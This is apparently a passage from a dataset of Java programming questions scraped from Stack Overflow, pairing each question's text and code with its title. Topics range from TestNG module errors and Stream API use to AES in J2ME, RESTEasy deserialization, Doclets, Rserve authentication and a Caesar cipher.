DispatchWrapper.dispatch ( MessageHubBackedObjectConnection.java:146 ) at org.gradle.internal.remote.internal.hub.MessageHubBackedObjectConnection $ DispatchWrapper.dispatch ( MessageHubBackedObjectConnection.java:128 ) at org.gradle.internal.remote.internal.hub.MessageHub $ Handler.run ( MessageHub.java:404 ) at org.gradle.internal.concurrent.ExecutorPolicy $ CatchAndRecordFailures.onExecute ( ExecutorPolicy.java:63 ) at org.gradle.internal.concurrent.ManagedExecutorImpl $ 1.run ( ManagedExecutorImpl.java:46 ) at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1167 ) at java.base/java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:641 ) at org.gradle.internal.concurrent.ThreadFactoryImpl $ ManagedThreadRunnable.run ( ThreadFactoryImpl.java:55 ) at java.base/java.lang.Thread.run ( Thread.java:844 ) Caused by : org.testng.TestNGException : Can not instantiate class io.github.sskorol.testcases.DataSupplierTests at testng @ 6.11/org.testng.internal.ObjectFactoryImpl.newInstance ( ObjectFactoryImpl.java:31 ) at testng @ 6.11/org.testng.internal.ClassHelper.createInstance1 ( ClassHelper.java:410 ) at testng @ 6.11/org.testng.internal.ClassHelper.createInstance ( ClassHelper.java:323 ) at testng @ 6.11/org.testng.internal.ClassImpl.getDefaultInstance ( ClassImpl.java:126 ) at testng @ 6.11/org.testng.internal.ClassImpl.getInstances ( ClassImpl.java:191 ) at testng @ 6.11/org.testng.TestClass.getInstances ( TestClass.java:99 ) at testng @ 6.11/org.testng.TestClass.initTestClassesAndInstances ( TestClass.java:85 ) at testng @ 6.11/org.testng.TestClass.init ( TestClass.java:77 ) at testng @ 6.11/org.testng.TestClass. < init > ( TestClass.java:42 ) at testng @ 6.11/org.testng.TestRunner.initMethods ( TestRunner.java:423 ) at testng @ 6.11/org.testng.TestRunner.init ( TestRunner.java:250 ) at testng @ 6.11/org.testng.TestRunner.init ( TestRunner.java:220 ) at testng @ 6.11/org.testng.TestRunner. < init > ( TestRunner.java:161 ) at testng @ 6.11/org.testng.SuiteRunner $ DefaultTestRunnerFactory.newTestRunner ( SuiteRunner.java:578 ) at testng @ 6.11/org.testng.SuiteRunner.init ( SuiteRunner.java:185 ) at testng @ 6.11/org.testng.SuiteRunner. < init > ( SuiteRunner.java:131 ) at testng @ 6.11/org.testng.TestNG.createSuiteRunner ( TestNG.java:1383 ) at testng @ 6.11/org.testng.TestNG.createSuiteRunners ( TestNG.java:1363 ) at testng @ 6.11/org.testng.TestNG.runSuitesLocally ( TestNG.java:1217 ) at testng @ 6.11/org.testng.TestNG.runSuites ( TestNG.java:1144 ) at testng @ 6.11/org.testng.TestNG.run ( TestNG.java:1115 ) at org.gradle.api.internal.tasks.testing.testng.TestNGTestClassProcessor.runTests ( TestNGTestClassProcessor.java:129 ) at org.gradle.api.internal.tasks.testing.testng.TestNGTestClassProcessor.stop ( TestNGTestClassProcessor.java:88 ) at org.gradle.api.internal.tasks.testing.SuiteTestClassProcessor.stop ( SuiteTestClassProcessor.java:61 ) ... 25 moreCaused by : java.lang.reflect.InaccessibleObjectException : Unable to make public io.github.sskorol.testcases.DataSupplierTests ( ) accessible : module io.github.sskorol does not `` exports io.github.sskorol.testcases '' to module testng at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible ( AccessibleObject.java:337 ) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible ( AccessibleObject.java:281 ) at java.base/java.lang.reflect.Constructor.checkCanSetAccessible ( Constructor.java:192 ) at java.base/java.lang.reflect.Constructor.setAccessible ( Constructor.java:185 ) at testng @ 6.11/org.testng.internal.ObjectFactoryImpl.newInstance ( ObjectFactoryImpl.java:22 ) ... 48 more,TestNG tests execution against JDK 9 module causes InaccessibleObjectException +Java,"I am trying to achieve the following scenario.I have an oldList and I am trying to multiply the occurences of each element by 4 and put them in a newList by using the Stream API . The size of the oldList is not known and each time , it may appear with a different size.I have already solved this problem with two traditional loops as follows ; but I have learnt the Stream API newly and would like to use it to consolidate my knowledge .",private List < Integer > mapHourlyToQuarterlyBased ( final List < Integer > oldList ) { List < Integer > newList = new ArrayList < > ( ) ; for ( Integer integer : oldList ) { for ( int i = 0 ; i < 4 ; i++ ) { newList.add ( integer ) ; } } return newList ; },Multiply the occurence of each element in a list by 4 +Java,"I 'm using ant to generate the MANIFEST.MF for a .jar , and I need to add multiple manifest < section > blocks based on a list of files in a directory . However , I need to automate the process to do this at build-time since the list will change between development and deployment.For example : I 've looked at foreach from Ant-contrib but it does n't look like it will work in this instance.Is this possible ?",< manifest file= '' MANIFEST.MF '' > < foreach files= '' ./* '' > < section name= '' section '' > < attribute name= '' Attribute-Name '' value= '' $ file '' / > < /section > < /foreach > < /manifest >,Automate adding multiple `` sections '' to the manifest ? +Java,I am trying to do AES encryption in j2me.I used almost same code for android and it 's working fine there.Following is the block of code . I 'm getting null as outputPrinting resultWhere am I going wrong ?,"package cartoon ; import javax.crypto.Cipher ; import javax.crypto.spec.IvParameterSpec ; import javax.crypto.spec.SecretKeySpec ; public class MCrypt { private String iv = `` 0123456789abcdef '' ; // iv private IvParameterSpec ivspec ; private SecretKeySpec keyspec ; private Cipher cipher ; private String SecretKey = `` fedcba9876543210 '' ; // secretKey public MCrypt ( ) { ivspec = new IvParameterSpec ( iv.getBytes ( ) , 0 , iv.getBytes ( ) .length ) ; keyspec = new SecretKeySpec ( SecretKey.getBytes ( ) , 0 , iv.getBytes ( ) .length , `` AES '' ) ; } String Decrypt ( String text ) throws Exception { cipher = Cipher.getInstance ( `` AES/CBC/PKCS5Padding '' ) ; cipher.init ( Cipher.DECRYPT_MODE , keyspec , ivspec ) ; byte [ ] results = null ; int results1 = cipher.doFinal ( Base64.decode ( text ) , 0 , Base64.decode ( text ) .length , results , 0 ) ; System.out.println ( `` String resultssssssssssssss `` + results1 ) ; return new String ( results , `` UTF-8 '' ) ; } String Encrypt ( String text ) throws Exception { cipher = Cipher.getInstance ( `` AES/CBC/PKCS5Padding '' ) ; System.out.println ( `` String input : `` + text ) ; cipher.init ( Cipher.ENCRYPT_MODE , keyspec , ivspec ) ; byte [ ] results = null ; int results1 = cipher.doFinal ( text.getBytes ( ) , 0 , text.getBytes ( ) .length , results , 0 ) ; return Base64.encode ( results ) ; } } MCrypt mcrypt = new MCrypt ( ) ; try { encrypted = mcrypt.Encrypt ( `` id=450 '' ) ; decrypted = new String ( mcrypt.Decrypt ( encrypted ) ) ; System.out.println ( `` Encrypted Text : `` + encrypted ) ; System.out.println ( `` Decrypted Text : `` + decrypted ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; }",AES encryption j2me +Java,"I always get this error when I try to build microG : This is on a headless server that does n't even have an X server installed ! This happens for release ( except with mergeReleaseResources ) as well . I tried running with -- info and -- debug but it did n't give me anything useful . I 've also tried switching to use Oracle 's JDK instead of OpenJDK and installing a local X server on the machine building but that did n't change anything either . This is on a freshly cloned copy of the repo , although I do n't think the error is specific to microG.Here are my results running ./gradlew build -- stacktrace : https : //gist.github.com/milkey-mouse/cb6b75b5116cf369603dec46e214e914",$ ./gradlew buildSkipping debug jar : microg-ui-tools : preBuild UP-TO-DATE : microg-ui-tools : preDebugBuild UP-TO-DATE : microg-ui-tools : checkDebugManifest : microg-ui-tools : preDebugAndroidTestBuild UP-TO-DATE : microg-ui-tools : preDebugUnitTestBuild UP-TO-DATE : microg-ui-tools : preReleaseBuild UP-TO-DATE : microg-ui-tools : preReleaseUnitTestBuild UP-TO-DATE : microg-ui-tools : prepareComAndroidSupportAnimatedVectorDrawable2531Library : microg-ui-tools : prepareComAndroidSupportAppcompatV72531Library : microg-ui-tools : prepareComAndroidSupportPreferenceV142531Library : microg-ui-tools : prepareComAndroidSupportPreferenceV72531Library : microg-ui-tools : prepareComAndroidSupportRecyclerviewV72531Library : microg-ui-tools : prepareComAndroidSupportSupportCompat2531Library : microg-ui-tools : prepareComAndroidSupportSupportCoreUi2531Library : microg-ui-tools : prepareComAndroidSupportSupportCoreUtils2531Library : microg-ui-tools : prepareComAndroidSupportSupportFragment2531Library : microg-ui-tools : prepareComAndroidSupportSupportMediaCompat2531Library : microg-ui-tools : prepareComAndroidSupportSupportV42531Library : microg-ui-tools : prepareComAndroidSupportSupportVectorDrawable2531Library : microg-ui-tools : prepareComTakisoftFixPreferenceV725310Library : microg-ui-tools : prepareDebugDependencies : microg-ui-tools : compileDebugAidl UP-TO-DATE : microg-ui-tools : compileDebugNdk UP-TO-DATE : microg-ui-tools : compileLint UP-TO-DATE : microg-ui-tools : copyDebugLint UP-TO-DATE : microg-ui-tools : compileDebugRenderscript UP-TO-DATE : microg-ui-tools : generateDebugBuildConfig UP-TO-DATE : microg-ui-tools : generateDebugResValues UP-TO-DATE : microg-ui-tools : generateDebugResources UP-TO-DATE : microg-ui-tools : mergeDebugResourcesjava.lang.NoClassDefFoundError : Could not initialize class sun.awt.X11GraphicsEnvironment : microg-ui-tools : mergeDebugResources FAILEDFAILURE : Build failed with an exception . * What went wrong : Execution failed for task ' : microg-ui-tools : mergeDebugResources'. > java.lang.NoClassDefFoundError : Could not initialize class sun.awt.X11GraphicsEnvironment* Try : Run with -- stacktrace option to get the stack trace . Run with -- info or -- debug option to get more log output.BUILD FAILEDTotal time : 2.932 secs,Gradle build fails with NoClassDefFoundError for sun.awt.X11GraphicsEnvironment in : mergeDebugResources +Java,I have 2 1d arrays and i am trying to populate them into a single 2d array in JAVA.For instance : The results should then be : This is my codeThis still produces wrong outputi want to find Find all pairs with a given sum,"a [ ] = { 2,7 } b [ ] = { 9,1 } result [ ] [ ] = { { 2,9 } , { 7,1 } } import java.util.Arrays ; import java.util.Scanner ; public class Main { public static void main ( String [ ] args ) { Scanner sc = new Scanner ( System.in ) ; System.out.println ( `` Enter Test Cases : \t '' ) ; int t = sc.nextInt ( ) ; int [ ] a ; int [ ] b ; int i , j , x ; for ( int k = 0 ; k < t ; k++ ) { System.out.println ( `` Enter 1st Array Limit : \t '' ) ; int len = sc.nextInt ( ) ; System.out.println ( `` Enter 2nd Array Limit : \t '' ) ; int len1 = sc.nextInt ( ) ; a = new int [ len ] ; b = new int [ len1 ] ; System.out.println ( `` Enter Sum Value '' ) ; x = sc.nextInt ( ) ; System.out.println ( `` Enter `` + len + `` elements : \t '' ) ; for ( i = 0 ; i < len ; i++ ) { a [ i ] = sc.nextInt ( ) ; } System.out.println ( `` Enter `` + len1 + `` elements : \t '' ) ; for ( j = 0 ; j < len1 ; j++ ) { b [ j ] = sc.nextInt ( ) ; } int [ ] [ ] c = new int [ len ] [ 2 ] ; for ( i = 0 ; i < len ; i++ ) { for ( j = 0 ; j < len1 ; j++ ) { if ( a [ i ] + b [ j ] == x ) { for ( int l = 0 ; i < a.length ; i++ ) { c [ l ] [ 0 ] = a [ i ] ; c [ l ] [ 1 ] = b [ j ] ; } } } } System.out.println ( Arrays.deepToString ( c ) ) ; } } }",Convert two 1D arrays into single 2D array +Java,"I am trying to perform a bitwise or on a byte value I have in Java.For example , I am running : My expected result for this would be 0b00000000 00000000 00000000 11111111 , or 255 . However , I am receiving -1 , or 0b11111111 11111111 11111111 11111111.I 'm assuming that Java converts my byte into an int via sign extension before performing the operation , and I was just curious if there was a way to get my desired result without using a bit mask ( 0b11111111 ) .",byte b = ( byte ) 0b11111111 ; int result = 0 | b ;,Java Bitwise Or Between Byte and Int +Java,"I am using resteasy to send key/value pairs in between some restful web-services.to post a list of these pairs i use this snippetPair is just an unannotated Class with The target resource an receive this via : the jax-rs resource can read the List correctly.Now the other way is the Problem : The Retrieval Resource is defined as : Client side is : The List is not null ; size is correct ; get ( 0 ) does output in a strange format : [ 0 ] { `` name '' : `` value '' } ; this is followed by the strange format 's reason : an Exception tells me that : java.util.LinkedHashMap can not be cast to PairHow is properties a LinkedHashMap at this point , or rather : a List of LinkedHashMaps ?","List < Pair > pairs = new ArrayList < > ( ) ; pairs.add ( new Pair ( `` name '' , `` Arnold '' ) ) ; pairs.add ( new Pair ( `` age '' , `` 20 '' ) ) ; ResteasyClient resteasyClient = getClient ( ) ; ResteasyWebTarget target = resteasyClient.target ( targetURI ) ; Invocation.Builder request = target.request ( ) ; request.post ( Entity.entity ( entity , MediaType.APPLICATION_JSON_TYPE ) ) ; public String key , public String value default constructor ( key , value ) constructor @ POST @ Path ( `` /metadata '' ) @ Consumes ( MediaType.APPLICATION_JSON ) public Response postMetadata ( List < Pair > properties ) { ... @ GET @ Path ( `` /getUrl ... / { id } '' ) @ Produces ( MediaType.APPLICATION_JSON ) public Response getMetadata ( @ PathParam ( `` id '' ) String id ) { data_from_hibernate = em.find ( id ) ; ... List < Pair > properties = new ArrayList < > ( ) ; //fill List from datareturn Response.ok ( ) .entity ( properties ) .build ( ) ; Response response = request.get ( `` http : //getUrl ... / '' +id ) ; List < Pair > properties = response.readEntity ( List.class ) ; logger.info ( `` got properties ! = null ? `` + ( properties ! =null ) ) ; logger.info ( `` size : `` +properties.size ( ) ) ; logger.info ( `` [ 0 ] '' + properties.get ( 0 ) ) ; logger.info ( `` type : `` +properties.get ( 0 ) .getClass ( ) .getName ( ) ) ;",Resteasy converting List to LinkedHashMap +Java,"I 'm having a go at creating a custom Javadoc generator using Doclet , but I 'm running into some issues.I 'm following the official documentation and initially had trouble with including the tools.jar file in my project , but I managed to fix this.My issue now is that after running this command ... ... I am getting the message ... javadoc : error - Can not find doclet class ListClassAs I said , I 've mostly been following the tutorials from the official documentation , but here is my code for reference.ListClass.java : And MyClass.java : So what I am asking is why I am getting the error I posted above . If someone was able to provide a more comprehensive guide of how Doclet works that would be great as well.Note : I 'm using IntelliJ IDE for my project . Here is my directory structure : .idea ... out ... srcListClass.javaMyClass.javaJavadocGenerator.iml",javadoc -doclet ListClass -docletpath . MyClass.java import com.sun.javadoc . * ; public class ListClass { public static boolean start ( RootDoc root ) { ClassDoc [ ] classes = root.classes ( ) ; for ( int i = 0 ; i < classes.length ; ++i ) { System.out.println ( classes [ i ] ) ; } return true ; } } /** * Documentation for my class */public class MyClass { public static void main ( String [ ] args ) { } /** * Documentation for my static void method * * @ param param This is the parameter it takes in */ public static void myStaticVoidMethod ( String param ) { } },Trouble with generating custom javadoc ; ' can not find doclet ' +Java,"why the following is validwhere as the following is invalidwhat would be the reason ? I know in the case of i+1 the entire value is explicitly incremented by 1 ( which will be int value ) so compilation problem will occur , but in case of i++ it does the same but did not get any error .",byte i=0 ; i++ ; byte i=0 ; i=i+1 ;,unable to increment byte value with expression but with increment operator +Java,"I am trying to distinguish my tests into Unit- and Integration tests.My idea was to use the new JUnit5 Annotation @ Tag ( `` unit '' ) which works nicely for my JUnit tests , but I can not get it to work with Spek.What I currently have is my class : My tests : With my build.gradle having : When I execute utest , this works.However when doing the same with Spek : What happens is if I run the gradle task utest it only executes the methods from MyObjectTest and does not execute the tests for MyObjectSpekAny ideas on how to integrate Spek with JUnit5 Tags or another idea to seperate unit tests and integration tests ?","data class MyObject ( val value : Int ) @ Tag ( `` unit '' ) object MyObjectTest { @ Test fun checkEquality ( ) { val o1 = MyObject ( 1 ) assertEquals ( o1 , o1 ) } } task utest ( type : Test ) { outputs.upToDateWhen { false } useJUnitPlatform { includeEngines 'junit-jupiter ' , 'junit-vintage ' , 'spek ' includeTags 'unit ' excludeTags 'performance ' , 'integration ' , 'functional ' } testLogging { events `` passed '' , `` skipped '' , `` failed '' } } @ Tag ( `` unit '' ) object MyObjectSpek : Spek ( { given ( `` an Object '' ) { val o1 = MyObject ( 1 ) it ( `` should be equal to itself '' ) { assertEquals ( o1 , o1 ) } } } )",Use JUnit5 Tags for Spek +Java,"Trying to get an Xagent to run on schedule by triggering from a scheduled Java agent.The following is the code for my xagentmail.xsp which simply sends me an email : Using the SSL-ENCRYPTED connection approach described in Devin Olson 's blog , Scheduled Xagents , I created the following scheduled Domino Java agent : When I enter the URL in a browser to my xagentmail.xsp I get mail as expected . But my scheduled Java agent is not triggering the Xagent to send the mail.I did set the Anonymous access to Reader for the application with both the agent and xagent . I also have restricted and non-restricted privileges on the server.Any ideas ?","< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < xp : view xmlns : xp= '' http : //www.ibm.com/xsp/core '' rendered= '' false '' > < xp : this.beforePageLoad > < ! [ CDATA [ # { javascript : // test send maildoc = database.createDocument ( ) ; doc.replaceItemValue ( `` Form '' , `` memo '' ) ; doc.replaceItemValue ( `` Subject '' , `` from xagentmail.xsp '' ) ; doc.replaceItemValue ( `` SendTo '' , `` PDella-Nebbia @ testdomain.com '' ) ; doc.send ( ) ; } ] ] > < /xp : this.beforePageLoad > < /xp : view > import java.io.BufferedReader ; import java.io.BufferedWriter ; import java.io.InputStreamReader ; import java.io.OutputStreamWriter ; import java.net.Socket ; import javax.net.ssl.SSLSocketFactory ; import lotus.domino.AgentBase ; public class JavaAgent extends AgentBase { // Change these settings below to your setup as required . static final String hostName = `` server1.testdomain.com '' ; static final String urlFilepath = `` /test/poidemo.nsf/xagentmail.xsp '' ; static final int sslPort = 443 ; public void NotesMain ( ) { try { final SSLSocketFactory factory = ( SSLSocketFactory ) SSLSocketFactory.getDefault ( ) ; final Socket socket = factory.createSocket ( JavaAgent.hostName , JavaAgent.sslPort ) ; final BufferedWriter out = new BufferedWriter ( new OutputStreamWriter ( socket.getOutputStream ( ) ) ) ; final BufferedReader in = new BufferedReader ( new InputStreamReader ( socket.getInputStream ( ) ) ) ; final StringBuilder sb = new StringBuilder ( ) ; sb.append ( `` GET `` ) ; sb.append ( JavaAgent.urlFilepath ) ; sb.append ( `` HTTP/1.1\n '' ) ; final String command = sb.toString ( ) ; sb.setLength ( 0 ) ; sb.append ( `` Host : `` ) ; sb.append ( JavaAgent.hostName ) ; sb.append ( `` \n\n '' ) ; final String hostinfo = sb.toString ( ) ; out.write ( command ) ; out.write ( hostinfo ) ; out.flush ( ) ; in.close ( ) ; out.close ( ) ; socket.close ( ) ; } catch ( final Exception e ) { // YOUR_EXCEPTION_HANDLING_CODE } } }",How to schedule an Xagent from a Domino Java agent ? +Java,"I 'm building a small Android application , but this is more of a Java question than an android question . Looking through the tutorials there are lines that look like : what exactly does the `` MyService.class '' field represent ? Is that just a reference to the class for a template ? Thanks .","startService ( new Intent ( this , MyService.class ) ) ;","In Java , what does a reference to Class.class do ?" +Java,I am running RServe from Server machine using cmdRserv.conf file has following content : pwdfile RserveAuth.txtauth requiredremote enableplaintext disable RserveAuth.txt has following contents : Admin 123456I am connecting to R Server from JAVA Connection to Rserve is open to all without username & Password . How shall I add security and allow connection only with valid credentials to access Rserve,"Rserve.exe -- RS-conf Rserv.conf -- RS-port 12306 import org.rosuda.REngine.REXPMismatchException ; import org.rosuda.REngine.REngineException ; import org.rosuda.REngine.Rserve.RConnection ; import org.rosuda.REngine.Rserve.RserveException ; import org.rosuda.REngine.REXP ; import org.rosuda.REngine . * ; public class ConnecttoR { ... ... public void connectR ( ) { try { RConnection connection = new RConnection ( `` 172.16.33.242 '' ,12306 ) ; // Works if authentication is not required in Rserv.conf } catch ( RserveException e ) { e.printStackTrace ( ) ; } catch ( REXPMismatchException e ) { e.printStackTrace ( ) ; } catch ( REngineException e ) { e.printStackTrace ( ) ; } } }",Connect to RServe from JAVA using authentication +Java,"first of all I would like to thank you and to explicitly say that I 've been slamming my head on this issue for several days and looking for a solution in other similar threads with no success.Our application is responsible of generating java classes and some of them may contain special characters in the class name ( thus file name ) such as ZoneRéservée435.java forcing the encoding to be UTF-8.Till Java 1.6 the ant task : worked fine.When moved to java 1.7 the fileName was not getting saved using the UTF-8 encoding resulting in a file name similar to : ZoneRe ? serve ? e435.javaLooking around I came to understand that I needed to set the env variable LC_CTYPE to UTF-8.That solved the fileName issue but I still get a compilation errorAlthough they have the same name , they seem to be encoded in two different ways.The interesting part is that this difference of encoding was happening with java 1.6 but was compiling fine.Does anyone have any suggestion or ideas ? For what I came to understand the encoding issue is related to the fact that the class is generated with the following : The code inside the file is using U+00E9 to define the special char ; The file name uses eU+0301 ; Any suggestion on how to deal with this ?","< javac source= '' 1.5 '' target= '' 1.5 '' srcdir= '' $ { src.dir } '' destdir= '' $ { classes.dir } '' deprecation= '' on '' debug= '' on '' classpathref= '' classpath '' fork= '' false '' memoryMaximumSize= '' 512m '' encoding= '' UTF-8 '' > error : class ZoneRéservée435 is public , should be declared in a file named ZoneRéservée435.java Writer out = new BufferedWriter ( new OutputStreamWriter ( new FileOutputStream ( file ) , Charset.forName ( `` UTF-8 '' ) ) ) ;",Different behaviour between javac 1.6 and javac 1.7 when handling special characters +Java,"Is there a way to say `` this method returns this '' using Generics ? Of course , I want to override this method in subclasses , so the declaration should work well with @ Override.Here is an example : public < T extends Base > T copyTo ( Base dest ) does n't work at all : I get `` Type mismatch : Ca n't convert from Base to T '' . If I force it with a cast , the override fails .",class Base { public Base copyTo ( Base dest ) { ... copy all fields to dest ... return this ; } } class X extends Base { @ Override public X copyTo ( X dest ) { super.copyTo ( dest ) ; ... copy all fields to dest ... return this ; } },Is there a way to say `` method returns this '' in Java ? +Java,"I 'm new to programming and I 'm trying to write a method which will choose the best option in a list . Here is what I 've got : I put these in a list : I will take this list in my method and I also have a specific item with some features . Let 's choose my specific item as ; Now , what I want to do is if one of the items in the list has a higher priority than my item , I will update my item 's features with the higher priority item 's features . The priority logic is respectively depends on item_code , item_type and origin . To get the priority order I 'm using maps like below : A typical priority order is like this : itemCodeOrder : 12 , 10 , 11 itemTypeOrder : 6 , 2 , 4 originOrder : US , UK , FR , GEIn the first place I want to choose the higher priority item in the list and than compare that item with my item to update or not . For example , in the list above item_no 10 has higher priority than 11 , so I will chose one of the items which has the item_no 10 . Then , I will look at the item_type : I have 2 and 4 , now I 'll choose one of the the item with 2 . So after looking the origin , I 'll get [ 10 , 2 , US ] in the end I 'll compare it with my item and update is like : I want to write a generic code but I could n't find a proper way to get prior item in the list with my HashMap logic . How I can handle with this ?","item_no item_type origin 10 2 US10 2 FR 10 4 UK11 6 FR [ [ 10 , 2 , US ] , [ 10 , 2 , FR ] , [ 10 , 4 , UK ] , [ 11 , 6 , FR ] ] item_no item_type origin 10 4 GE HashMap < String , Integer > itemCodeOrder = x.getItemCodeOrder ( ) ; HashMap < String , Integer > itemTypeOrder = y.getItemTypeOrder ( ) ; HashMap < String , Integer > originOrder = z.getOriginOrder ( ) item_no item_type origin 10 2 US",How to select between the elements having a certain priority list ? +Java,Is there any way to represent any number as sum of 4 squares.For example 29 can be represented as 5^2+2^2+0^2+0^2I tried the following code but some numbers giving 5terms for example 23 as 4^2+2^2+1^2+1^2+1^2the code i tried is :,x=0 ; while ( num ! =0 ) { x= ( int ) Math.floor ( Math.sqrt ( num ) ) ; num=num- ( x*x ) ; },Is there any way to represent any number as sum of 4 squares ? +Java,"The code below encrypts a word or sentence in the way Caesar did . You put the shift value and the program takes each letter of the word/sentence and `` moves '' in the alphabet acoording to the shift ( key ) value . But this is not the problem.I found the code on the internet and i can not explain some of it 's lines.I know how it works but i need some specific answer about some of it 's lines.Here is the code : What exactly do those lines mean , and how do they do what they do ? and","import acm.program . * ; public class CaesarCipher extends ConsoleProgram { public void run ( ) { println ( `` This program implements a Caesar cipher . `` ) ; int key = readInt ( `` Character positions to shift : `` ) ; String plaintext = readLine ( `` Enter a message : `` ) ; String ciphertext = encodeCaesarCipher ( plaintext , key ) ; println ( `` Encoded message : `` + ciphertext ) ; } private String encodeCaesarCipher ( String str , int key ) { if ( key < 0 ) key = 26 - ( -key % 26 ) ; String result = `` '' ; for ( int i = 0 ; i < str.length ( ) ; i++ ) { char ch = str.charAt ( i ) ; if ( Character.isLetter ( ch ) ) { if ( Character.isUpperCase ( ch ) ) { ch = ( char ) ( ' A ' + ( ch - ' A ' + key ) % 26 ) ; } else { ch = ( char ) ( ' a ' + ( ch - ' a ' + key ) % 26 ) ; } } result += ch ; } return result ; } } ch = ( char ) ( ' A ' + ( ch - ' A ' + key ) % 26 ) ; ch = ( char ) ( ' a ' + ( ch - ' a ' + key ) % 26 ) ;",Caeasar Cipher with java 's acm +Java,I have a question regarding Java 8 . Here is my source code : This works quite well and produces following output : My question is now if the syntax above d.accept and upper.apply is the only possible one or if there is some more `` java 8 lambda '' style we could write the last two lines .,"final Consumer < String > d = e - > System.out.println ( e ) ; final Function < String , String > upper = x - > x.toUpperCase ( ) ; final Function < String , String > lower = x - > x.toLowerCase ( ) ; new Thread ( ( ) - > d.accept ( upper.apply ( `` hello 1 '' ) ) ) .run ( ) ; new Thread ( ( ) - > d.accept ( lower.apply ( `` hello 2 '' ) ) ) .run ( ) ; HELLO 1hello 2",Apply JDK 8 Consumer on String +Java,"I am working on a project to automatically convert a custom language to Java and have been asked to do some basic optimizations of the code during the conversion process . For example , the custom code may have something like : in this instance , someFunction is called multiple times with the same inputs , so additional performance can be obtained by caching the value of someFunction ( ) and only calling it once . Thus , an `` optimized '' version of the above code may look something like : Currently , this is done by hand during the conversion process . I run a program to convert the code in the custom language to Java and then manually examine the converted code to see what can be optimized . I want to automate the optimization process since these problems creep up again and again . The people who are writing the code in the custom language do not want to worry about such things , so I ca n't ask them to just make sure that the code they give me is already optimized.What are some tutorials , papers , etc ... that details how such things are done in modern compilers ? I do n't want to have to re-invent the wheel too much . Thanks in advance.Edit 1 : It can be assumed that the function is pure .","if someFunction ( a , b ) > x : do somethingelse : return someFunction ( a , b ) + y var1 = someFunction ( a , b ) if var1 > x : do somethingelse : return var1 + y",Automatic Code Optimization Techniques +Java,"I 'm getting a crash ( from Crashlytics , unable to reproduce locally ) in my app from the onLayout function in the CoordinatorLayout : Since I have n't been able to reproduce this myself and have 6 activities with CoordinatorLayouts , how can I go about debugging this ? Edit : looks like it will be fixed in the next support library release","Fatal Exception : java.lang.IndexOutOfBoundsException : Invalid index 3 , size is 3 at java.util.ArrayList.throwIndexOutOfBoundsException ( ArrayList.java:255 ) at java.util.ArrayList.get ( ArrayList.java:308 ) at android.support.design.widget.CoordinatorLayout.onLayout ( SourceFile:848 ) at android.view.View.layout ( View.java:15237 ) at android.view.ViewGroup.layout ( ViewGroup.java:4864 ) at android.widget.FrameLayout.layoutChildren ( FrameLayout.java:515 ) at android.widget.FrameLayout.onLayout ( FrameLayout.java:450 ) at android.view.View.layout ( View.java:15237 ) at android.view.ViewGroup.layout ( ViewGroup.java:4864 ) at android.widget.LinearLayout.setChildFrame ( LinearLayout.java:1888 ) at android.widget.LinearLayout.layoutVertical ( LinearLayout.java:1742 ) at android.widget.LinearLayout.onLayout ( LinearLayout.java:1651 ) at android.view.View.layout ( View.java:15237 ) at android.view.ViewGroup.layout ( ViewGroup.java:4864 ) at android.widget.FrameLayout.layoutChildren ( FrameLayout.java:515 ) at android.widget.FrameLayout.onLayout ( FrameLayout.java:450 ) at android.view.View.layout ( View.java:15237 ) at android.view.ViewGroup.layout ( ViewGroup.java:4864 ) at android.widget.LinearLayout.setChildFrame ( LinearLayout.java:1888 ) at android.widget.LinearLayout.layoutVertical ( LinearLayout.java:1742 ) at android.widget.LinearLayout.onLayout ( LinearLayout.java:1651 ) at android.view.View.layout ( View.java:15237 ) at android.view.ViewGroup.layout ( ViewGroup.java:4864 ) at android.widget.FrameLayout.layoutChildren ( FrameLayout.java:515 ) at android.widget.FrameLayout.onLayout ( FrameLayout.java:450 ) at android.view.View.layout ( View.java:15237 ) at android.view.ViewGroup.layout ( ViewGroup.java:4864 ) at android.view.ViewRootImpl.performLayout ( ViewRootImpl.java:2323 ) at android.view.ViewRootImpl.performTraversals ( ViewRootImpl.java:2029 ) at android.view.ViewRootImpl.doTraversal ( ViewRootImpl.java:1192 ) at android.view.ViewRootImpl $ TraversalRunnable.run ( ViewRootImpl.java:6231 ) at android.view.Choreographer $ CallbackRecord.run ( Choreographer.java:816 ) at android.view.Choreographer.doCallbacks ( Choreographer.java:619 ) at android.view.Choreographer.doFrame ( Choreographer.java:588 ) at android.view.Choreographer $ FrameDisplayEventReceiver.run ( Choreographer.java:802 ) at android.os.Handler.handleCallback ( Handler.java:808 ) at android.os.Handler.dispatchMessage ( Handler.java:103 ) at android.os.Looper.loop ( Looper.java:193 ) at android.app.ActivityThread.main ( ActivityThread.java:5388 ) at java.lang.reflect.Method.invokeNative ( Method.java ) at java.lang.reflect.Method.invoke ( Method.java:515 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:839 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:655 ) at dalvik.system.NativeStart.main ( NativeStart.java )",CoordinatorLayout crashes app with IndexOutOfBoundsException +Java,"I am receiving a Json response from my serverI work it on like a JsoNodeand finally I return a StringThe problem is when I set it on my mongo database in the MyProccesResponse field , appear this : } and I needHow can I fix It ?","{ `` results '' : [ ] , '' metadata '' : { `` total_hits '' : 0 , `` max_score '' : 0 } } JsonNode rootNode = new ObjectMapper ( ) .readTree ( response ) ; ... Procces obj = processResponse ( rootNode ) // This method only make a Object with the value of rootNodeString proccesString = new ObjectMapper ( ) .writeValueAsString ( obj ) ; return proccesString ; { `` MyProccesResponse '' : `` { \ '' results\ '' : [ ] , \ '' metadata\ '' : { \ '' total_hits\ '' : 0 , \ '' max_score\ '' : 0 } } '' { `` MyProccesResponse '' : { `` results '' : [ ] , `` metadata '' : { `` total_hits '' : 0 , `` max_score '' : 0 } } }",How set correctly a JsonNode in Mongo but without set it like String using Jackson in Java ? +Java,"Problem : Java program to split the coefficients from a quadratic equation eg if input string is : So I need to split the coefficients from the given input string and to get output asI tried this : But I got the output as 23x2 and 4x and 4.Actual output needed is 23 , - 4 , 4 .","String str1 ; str1 = `` 4x2-4x-42=0 '' a = 4 b = -4 c = -42 String equation = `` ax2+bx-c=0 '' ; String [ ] parts = equation.split ( `` \\+|-|= '' ) ; 